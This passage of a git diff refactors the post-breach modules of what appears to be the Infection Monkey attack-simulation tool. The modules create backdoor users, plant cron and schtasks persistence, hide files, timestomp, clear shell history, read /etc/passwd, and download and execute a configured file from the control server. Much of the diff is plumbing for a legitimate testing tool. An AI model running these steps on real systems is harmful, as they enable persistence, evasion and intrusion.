b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py new file mode 100644 index 000000000..78102c595 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -0,0 +1,59 @@ +import logging +from typing import Dict + +import psutil + +from common.common_consts.post_breach_consts import POST_BREACH_PROCESS_LIST_COLLECTION +from infection_monkey.i_puppet.i_puppet import PostBreachData +from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +logger = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +applicable_exceptions = psutil.AccessDenied +try: + applicable_exceptions = (psutil.AccessDenied, WindowsError) +except NameError: + pass + + +class ProcessListCollection(PBA): + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super().__init__(telemetry_messenger, POST_BREACH_PROCESS_LIST_COLLECTION) + + def run(self, options: Dict): + """ + Collects process information from the host. + Currently lists process name, ID, parent ID, command line + and the full image path of each process. + """ + logger.debug("Reading process list") + + processes = {} + success_state = False + for process in psutil.process_iter(): + try: + processes[process.pid] = { + "name": process.name(), + "pid": process.pid, + "ppid": process.ppid(), + "cmdline": " ".join(process.cmdline()), + "full_image_path": process.exe(), + } + success_state = True + except applicable_exceptions: + # We may be running as non root and some processes are impossible to acquire in + # Windows/Linux. In this case, we'll just add what we know. + processes[process.pid] = { + "name": "null", + "pid": process.pid, + "ppid": process.ppid(), + "cmdline": "ACCESS DENIED", + "full_image_path": "null", + } + continue + + # No command here; used psutil + self.pba_data.append(PostBreachData(self.name, self.command, (processes, success_state))) + return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 03126dec0..01843b242 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -3,10 +3,12 @@ import random import shutil import string import subprocess +from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.auto_new_user_factory import create_auto_new_user from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.new_user_error import NewUserError @@ -33,12 +35,12 @@ class CommunicateAsBackdoorUser(PBA): are created. """ - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): super(CommunicateAsBackdoorUser, self).__init__( - name=POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER + telemetry_messenger, name=POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER ) - def run(self): + def run(self, options: Dict): username = CommunicateAsBackdoorUser.get_random_new_user_name() try: password = get_random_password(14) @@ -49,11 +51,20 @@ class CommunicateAsBackdoorUser(PBA): ) ) exit_status = new_user.run_as(http_request_commandline) - self.send_result_telemetry(exit_status, http_request_commandline, username) + result = CommunicateAsBackdoorUser._get_result_for_telemetry( + exit_status, http_request_commandline, username + ) + # `command` is empty here; we could get the command from `new_user` but that + # doesn't work either since Windows doesn't use a command, it uses win32 modules + self.pba_data.append(PostBreachData(self.name, self.command, result)) except subprocess.CalledProcessError as e: - PostBreachTelem(self, (e.output.decode(), False)).send() + self.pba_data.append( + PostBreachData(self.name, self.command, (e.output.decode(), False)) + ) except NewUserError as e: - PostBreachTelem(self, (str(e), False)).send() + self.pba_data.append(PostBreachData(self.name, self.command, (str(e), False))) + finally: + return self.pba_data @staticmethod def get_random_new_user_name(): @@ -64,44 +75,34 @@ class CommunicateAsBackdoorUser(PBA): @staticmethod def get_commandline_for_http_request(url, is_windows=is_windows_os()): if is_windows: - format_string = ( - 'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [' - "Net.SecurityProtocolType]::Tls12; " - 'Invoke-WebRequest {url} -UseBasicParsing -method HEAD"' + return ( + f'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [' + f"Net.SecurityProtocolType]::Tls12; " + f'Invoke-WebRequest {url} -UseBasicParsing -method HEAD"' ) else: # if curl works, we're good. # If curl doesn't exist or fails and wget work, we're good. # And if both don't exist: we'll call it a win. if shutil.which("curl") is not None: - format_string = "curl {url} --head --max-time 10" + return f"curl {url} --head" else: - format_string = "wget -O/dev/null -q {url} --method=HEAD --timeout=10" - return format_string.format(url=url) + return f"wget -O/dev/null -q {url} --method=HEAD" - def send_result_telemetry(self, exit_status, commandline, username): - """ - Parses the result of the command and sends telemetry accordingly. - - :param exit_status: In both Windows and Linux, 0 exit code indicates success. - :param commandline: Exact commandline which was executed, for reporting back. - :param username: Username from which the command was executed, for reporting back. - """ + @staticmethod + def _get_result_for_telemetry(exit_status, commandline, username): if exit_status == 0: - PostBreachTelem( - self, (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True) - ).send() + result = (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True) else: - PostBreachTelem( - self, - ( - CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( - commandline, username, exit_status, twos_complement(exit_status) - ), - False, + result = ( + CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( + commandline, username, exit_status, twos_complement(exit_status) ), - ).send() + False, + ) + + return result def twos_complement(exit_status): - return hex(exit_status & (2 ** 32 - 1)) + return hex(exit_status & (2**32 - 1)) diff --git a/monkey/infection_monkey/post_breach/actions/discover_accounts.py b/monkey/infection_monkey/post_breach/actions/discover_accounts.py index 8fdebd0df..a153cf5b6 100644 --- a/monkey/infection_monkey/post_breach/actions/discover_accounts.py +++ b/monkey/infection_monkey/post_breach/actions/discover_accounts.py @@ -3,11 +3,15 @@ from infection_monkey.post_breach.account_discovery.account_discovery import ( get_commands_to_discover_accounts, ) from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class AccountDiscovery(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds, windows_cmds = get_commands_to_discover_accounts() super().__init__( - POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds + telemetry_messenger, + POST_BREACH_ACCOUNT_DISCOVERY, + linux_cmd=" ".join(linux_cmds), + windows_cmd=windows_cmds, ) diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index c6e1d1a6b..5c0bda507 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -1,6 +1,9 @@ +from typing import Dict + from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.hidden_files import ( cleanup_hidden_files, @@ -17,22 +20,27 @@ class HiddenFiles(PBA): This PBA attempts to create hidden files and folders. """ - def __init__(self): - super(HiddenFiles, self).__init__(name=POST_BREACH_HIDDEN_FILES) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super(HiddenFiles, self).__init__(telemetry_messenger, name=POST_BREACH_HIDDEN_FILES) - def run(self): + def run(self, options: Dict): # create hidden files and folders for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS: linux_cmds, windows_cmds = function_to_get_commands() super(HiddenFiles, self).__init__( + self.telemetry_messenger, name=POST_BREACH_HIDDEN_FILES, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds, ) - super(HiddenFiles, self).run() + super(HiddenFiles, self).run(options) + if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() - PostBreachTelem(self, (result, status)).send() + # no command here, used WinAPI + self.pba_data.append(PostBreachData(self.name, self.command, (result, status))) # cleanup hidden files and folders cleanup_hidden_files(is_windows_os()) + + return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 3283bcc94..21d5d4372 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -1,11 +1,14 @@ import subprocess +from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import ( get_commands_to_modify_shell_startup_files, ) -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ModifyShellStartupFiles(PBA): @@ -15,11 +18,11 @@ class ModifyShellStartupFiles(PBA): and profile.ps1 in windows. """ - def __init__(self): - super().__init__(name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super().__init__(telemetry_messenger, name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION) - def run(self): - results = [pba.run() for pba in self.modify_shell_startup_PBA_list()] + def run(self, options: Dict): + results = [pba.run(options) for pba in self.modify_shell_startup_PBA_list()] if not results: results = [ ( @@ -27,13 +30,18 @@ class ModifyShellStartupFiles(PBA): False, ) ] - PostBreachTelem(self, results).send() + # `command` is empty here since multiple commands were run through objects of the nested + # class. The results of each of those were aggregated to send the telemetry just once. + self.pba_data.append(PostBreachData(self.name, self.command, results)) + return self.pba_data - def modify_shell_startup_PBA_list(self): - return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas() + @classmethod + def modify_shell_startup_PBA_list(cls): + return cls.ShellStartupPBAGenerator.get_modify_shell_startup_pbas() class ShellStartupPBAGenerator: - def get_modify_shell_startup_pbas(self): + @classmethod + def get_modify_shell_startup_pbas(cls): (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux), ( cmds_for_windows, shell_startup_files_per_user_for_windows, @@ -43,33 +51,39 @@ class ModifyShellStartupFiles(PBA): for startup_file_per_user in shell_startup_files_per_user_for_windows: windows_cmds = " ".join(cmds_for_windows).format(startup_file_per_user) - pbas.append(self.ModifyShellStartupFile(linux_cmds="", windows_cmds=windows_cmds)) + pbas.append(cls.ModifyShellStartupFile(linux_cmds="", windows_cmds=windows_cmds)) for username in usernames_for_linux: for shell_startup_file in shell_startup_files_for_linux: linux_cmds = ( " ".join(cmds_for_linux).format(shell_startup_file).format(username) ) - pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds="")) + pbas.append(cls.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds="")) return pbas class ModifyShellStartupFile(PBA): def __init__(self, linux_cmds, windows_cmds): super().__init__( + telemetry_messenger=None, name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, linux_cmd=linux_cmds, windows_cmd=windows_cmds, ) - def run(self): + def run(self, options): if self.command: try: output = subprocess.check_output( # noqa: DUO116 - self.command, stderr=subprocess.STDOUT, shell=True + self.command, + stderr=subprocess.STDOUT, + shell=True, + timeout=LONG_REQUEST_TIMEOUT, ).decode() return output, True - except subprocess.CalledProcessError as e: + except subprocess.CalledProcessError as err: # Return error output of the command - return e.output.decode(), False + return str(err), False + except subprocess.TimeoutExpired as err: + return str(err), False diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index e7845968a..4ab023e35 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -1,9 +1,12 @@ +from typing import Dict + from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING from infection_monkey.post_breach.job_scheduling.job_scheduling import ( get_commands_to_schedule_jobs, remove_scheduled_jobs, ) from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ScheduleJobs(PBA): @@ -11,15 +14,17 @@ class ScheduleJobs(PBA): This PBA attempts to schedule jobs on the system. """ - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds, windows_cmds = get_commands_to_schedule_jobs() super(ScheduleJobs, self).__init__( + telemetry_messenger, name=POST_BREACH_JOB_SCHEDULING, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds, ) - def run(self): - super(ScheduleJobs, self).run() + def run(self, options: Dict): + super(ScheduleJobs, self).run(options) remove_scheduled_jobs() + return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py index ece987107..3e7c61f59 100644 --- a/monkey/infection_monkey/post_breach/actions/timestomping.py +++ b/monkey/infection_monkey/post_breach/actions/timestomping.py @@ -1,9 +1,15 @@ from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.timestomping.timestomping import get_timestomping_commands +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class Timestomping(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds, windows_cmds = get_timestomping_commands() - super().__init__(POST_BREACH_TIMESTOMPING, linux_cmd=linux_cmds, windows_cmd=windows_cmds) + super().__init__( + telemetry_messenger, + POST_BREACH_TIMESTOMPING, + linux_cmd=linux_cmds, + windows_cmd=windows_cmds, + ) diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 4f0c6bd90..9699e6628 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -1,30 +1,41 @@ import logging import subprocess +from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, SHORT_REQUEST_TIMEOUT from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( cleanup_changes, + copy_executable_to_cwd, get_commands_to_proxy_execution_using_signed_script, ) +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) class SignedScriptProxyExecution(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): windows_cmds = get_commands_to_proxy_execution_using_signed_script() - super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, windows_cmd=" ".join(windows_cmds)) + super().__init__( + telemetry_messenger, + POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, + windows_cmd=" ".join(windows_cmds), + timeout=MEDIUM_REQUEST_TIMEOUT, + ) - def run(self): + def run(self, options: Dict): + original_comspec = "" try: - original_comspec = "" if is_windows_os(): + copy_executable_to_cwd() original_comspec = subprocess.check_output( # noqa: DUO116 - "if defined COMSPEC echo %COMSPEC%", shell=True + "if defined COMSPEC echo %COMSPEC%", shell=True, timeout=SHORT_REQUEST_TIMEOUT ).decode() - super().run() + super().run(options) + return self.pba_data except Exception as e: logger.warning( f"An exception occurred on running PBA " diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py index 879db77bf..8dfbc9f5e 100644 --- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py +++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py @@ -1,9 +1,12 @@ from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.trap_command.trap_command import get_trap_commands +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class TrapCommand(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds = get_trap_commands() - super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, linux_cmd=" ".join(linux_cmds)) + super(TrapCommand, self).__init__( + telemetry_messenger, POST_BREACH_TRAP_COMMAND, linux_cmd=" ".join(linux_cmds) + ) diff --git a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py index 642a42d5a..62442e29e 100644 --- a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py +++ b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py @@ -1,11 +1,17 @@ +import logging import subprocess +from typing import Iterable +from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) -def get_linux_commands_to_clear_command_history(): + +def get_linux_commands_to_clear_command_history() -> Iterable[str]: if is_windows_os(): - return "" + return [] TEMP_HIST_FILE = "$HOME/monkey-temp-hist-file" @@ -20,7 +26,7 @@ def get_linux_commands_to_clear_command_history(): ] -def get_linux_command_history_files(): +def get_linux_command_history_files() -> Iterable[str]: if is_windows_os(): return [] @@ -41,17 +47,26 @@ def get_linux_command_history_files(): return STARTUP_FILES -def get_linux_usernames(): +def get_linux_usernames() -> Iterable[str]: if is_windows_os(): return [] # get list of usernames - USERS = ( - subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + try: + USERS = ( + subprocess.check_output( # noqa: DUO116 + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", + shell=True, + timeout=LONG_REQUEST_TIMEOUT, + ) + .decode() + .split("\n")[:-1] ) - .decode() - .split("\n")[:-1] - ) - return USERS + return USERS + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error( + f"An exception occured on fetching linux usernames," + f"PBA: {POST_BREACH_CLEAR_CMD_HISTORY}: {str(err)}" + ) + return [] diff --git a/monkey/infection_monkey/post_breach/custom_pba/__init__.py b/monkey/infection_monkey/post_breach/custom_pba/__init__.py new file mode 100644 index 000000000..723810fc0 --- /dev/null +++ b/monkey/infection_monkey/post_breach/custom_pba/__init__.py @@ -0,0 +1 @@ +from .custom_pba import CustomPBA diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py similarity index 50% rename from monkey/infection_monkey/post_breach/actions/users_custom_pba.py rename to monkey/infection_monkey/post_breach/custom_pba/custom_pba.py index 4c706a1c1..ce7dd64f2 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py @@ -1,13 +1,15 @@ import logging import os +from typing import Dict, Iterable from common.common_consts.post_breach_consts import POST_BREACH_FILE_EXECUTION from common.utils.attack_utils import ScanStatus -from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.i_puppet import PostBreachData from infection_monkey.network.tools import get_interface_to_target from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path @@ -18,55 +20,54 @@ DIR_CHANGE_WINDOWS = "cd %s & " DIR_CHANGE_LINUX = "cd %s ; " -class UsersPBA(PBA): +class CustomPBA(PBA): """ Defines user's configured post breach action. """ - def __init__(self): - super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super(CustomPBA, self).__init__( + telemetry_messenger, POST_BREACH_FILE_EXECUTION, timeout=None + ) self.filename = "" - if not is_windows_os(): - # Add linux commands to PBA's - if WormConfiguration.PBA_linux_filename: - self.filename = WormConfiguration.PBA_linux_filename - if WormConfiguration.custom_PBA_linux_cmd: - # Add change dir command, because user will try to access his file - self.command = ( - DIR_CHANGE_LINUX % get_monkey_dir_path() - ) + WormConfiguration.custom_PBA_linux_cmd - elif WormConfiguration.custom_PBA_linux_cmd: - self.command = WormConfiguration.custom_PBA_linux_cmd - else: + def run(self, options: Dict) -> Iterable[PostBreachData]: + self._set_options(options) + return super().run(options) + + def _set_options(self, options: Dict): + # Required for attack telemetry + self.current_server = options["current_server"] + + if is_windows_os(): # Add windows commands to PBA's - if WormConfiguration.PBA_windows_filename: - self.filename = WormConfiguration.PBA_windows_filename - if WormConfiguration.custom_PBA_windows_cmd: + if options["windows_filename"]: + self.filename = options["windows_filename"] + if options["windows_command"]: # Add change dir command, because user will try to access his file - self.command = ( - DIR_CHANGE_WINDOWS % get_monkey_dir_path() - ) + WormConfiguration.custom_PBA_windows_cmd - elif WormConfiguration.custom_PBA_windows_cmd: - self.command = WormConfiguration.custom_PBA_windows_cmd + self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + options[ + "windows_command" + ] + elif options["windows_command"]: + self.command = options["windows_command"] + else: + # Add linux commands to PBA's + if options["linux_filename"]: + self.filename = options["linux_filename"] + if options["linux_command"]: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + options[ + "linux_command" + ] + elif options["linux_command"]: + self.command = options["linux_command"] def _execute_default(self): if self.filename: - UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) - return super(UsersPBA, self)._execute_default() + self.download_pba_file(get_monkey_dir_path(), self.filename) + return super(CustomPBA, self)._execute_default() - @staticmethod - def should_run(class_name): - if not is_windows_os(): - if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: - return True - else: - if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: - return True - return False - - @staticmethod - def download_pba_file(dst_dir, filename): + def download_pba_file(self, dst_dir, filename): """ Handles post breach action file download :param dst_dir: Destination directory @@ -84,12 +85,14 @@ class UsersPBA(PBA): if not status: status = ScanStatus.USED - T1105Telem( - status, - WormConfiguration.current_server.split(":")[0], - get_interface_to_target(WormConfiguration.current_server.split(":")[0]), - filename, - ).send() + self.telemetry_messenger.send_telemetry( + T1105Telem( + status, + self.current_server.split(":")[0], + get_interface_to_target(self.current_server.split(":")[0]), + filename, + ) + ) if status == ScanStatus.SCANNED: return False diff --git a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py index a38aa815b..564622a3b 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py @@ -1,5 +1,8 @@ +import logging import subprocess +from typing import Iterable, Tuple +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import ( get_linux_commands_to_schedule_jobs, ) @@ -9,8 +12,10 @@ from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import ( ) from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) -def get_commands_to_schedule_jobs(): + +def get_commands_to_schedule_jobs() -> Tuple[Iterable[str], str]: linux_cmds = get_linux_commands_to_schedule_jobs() windows_cmds = get_windows_commands_to_schedule_jobs() return linux_cmds, windows_cmds @@ -18,4 +23,13 @@ def get_commands_to_schedule_jobs(): def remove_scheduled_jobs(): if is_windows_os(): - subprocess.run(get_windows_commands_to_remove_scheduled_jobs(), shell=True) # noqa: DUO116 + try: + subprocess.run( # noqa: DUO116 + get_windows_commands_to_remove_scheduled_jobs(), + timeout=LONG_REQUEST_TIMEOUT, + shell=True, + ) + except subprocess.CalledProcessError as err: + logger.error(f"An error occured removing scheduled jobs on Windows: {err}") + except subprocess.TimeoutExpired as err: + logger.error(f"A timeout occured removing scheduled jobs on Windows: {err}") diff --git a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py index 09a8075e0..bf6e8f335 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py @@ -1,7 +1,9 @@ +from typing import Iterable + TEMP_CRON = "$HOME/monkey-schedule-jobs" -def get_linux_commands_to_schedule_jobs(): +def get_linux_commands_to_schedule_jobs() -> Iterable[str]: return [ f"touch {TEMP_CRON} &&", f"crontab -l > {TEMP_CRON} &&", diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py index 9f44768d2..6775eefba 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py @@ -6,9 +6,9 @@ SCHEDULED_TASK_COMMAND = r"C:\windows\system32\cmd.exe" # /T1053.005.md -def get_windows_commands_to_schedule_jobs(): +def get_windows_commands_to_schedule_jobs() -> str: return f"schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}" -def get_windows_commands_to_remove_scheduled_jobs(): +def get_windows_commands_to_remove_scheduled_jobs() -> str: return f"schtasks /Delete /TN {SCHEDULED_TASK_NAME} /F > nul 2>&1" diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index b9f72697f..0ef8e0ecb 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,32 +1,31 @@ import logging import subprocess +from typing import Dict, Iterable -import infection_monkey.post_breach.actions +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus -from infection_monkey.config import WormConfiguration +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.telemetry.attack.t1064_telem import T1064Telem -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.plugins.plugin import Plugin logger = logging.getLogger(__name__) -class PBA(Plugin): +class PBA: """ Post breach action object. Can be extended to support more than command execution on target machine. """ - @staticmethod - def base_package_name(): - return infection_monkey.post_breach.actions.__package__ - - @staticmethod - def base_package_file(): - return infection_monkey.post_breach.actions.__file__ - - def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): + def __init__( + self, + telemetry_messenger: ITelemetryMessenger, + name="unknown", + linux_cmd="", + windows_cmd="", + timeout: int = LONG_REQUEST_TIMEOUT, + ): """ :param name: Name of post breach action. :param linux_cmd: Command that will be executed on breached machine @@ -34,16 +33,11 @@ class PBA(Plugin): """ self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name + self.pba_data = [] + self.telemetry_messenger = telemetry_messenger + self.timeout = timeout - @staticmethod - def should_run(class_name): - """ - Decides if post breach action is enabled in config - :return: True if it needs to be ran, false otherwise - """ - return class_name in WormConfiguration.post_breach_actions - - def run(self): + def run(self, options: Dict) -> Iterable[PostBreachData]: """ Runs post breach action command """ @@ -51,13 +45,18 @@ class PBA(Plugin): exec_funct = self._execute_default result = exec_funct() if self.scripts_were_used_successfully(result): - T1064Telem( - ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action." - ).send() - PostBreachTelem(self, result).send() + self.telemetry_messenger.send_telemetry( + T1064Telem( + ScanStatus.USED, + f"Scripts were used to execute {self.name} post breach action.", + ) + ) + self.pba_data.append(PostBreachData(self.name, self.command, result)) else: logger.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") + return self.pba_data + def is_script(self): """ Determines if PBA is a script (PBA might be a single command) @@ -81,12 +80,13 @@ class PBA(Plugin): """ try: output = subprocess.check_output( # noqa: DUO116 - self.command, stderr=subprocess.STDOUT, shell=True + self.command, stderr=subprocess.STDOUT, shell=True, timeout=self.timeout ).decode() return output, True - except subprocess.CalledProcessError as e: - # Return error output of the command - return e.output.decode(), False + except subprocess.CalledProcessError as err: + return err.output.decode(), False + except subprocess.TimeoutExpired as err: + return str(err), False @staticmethod def choose_command(linux_cmd, windows_cmd): diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py deleted file mode 100644 index 489b2065a..000000000 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ /dev/null @@ -1,39 +0,0 @@ -import logging -from multiprocessing.dummy import Pool -from typing import Sequence - -from infection_monkey.post_breach.pba import PBA - -logger = logging.getLogger(__name__) - - -class PostBreach(object): - """ - This class handles post breach actions execution - """ - - def __init__(self): - self.pba_list = self.config_to_pba_list() - - def execute_all_configured(self): - """ - Executes all post breach actions. - """ - with Pool(5) as pool: - pool.map(self.run_pba, self.pba_list) - logger.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) - - @staticmethod - def config_to_pba_list() -> Sequence[PBA]: - """ - :return: A list of PBA objects. - """ - return PBA.get_instances() - - def run_pba(self, pba): - try: - logger.debug("Executing PBA: '{}'".format(pba.name)) - pba.run() - logger.debug(f"Execution of {pba.name} finished") - except Exception as e: - logger.error("PBA {} failed. Error info: {}".format(pba.name, e)) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py 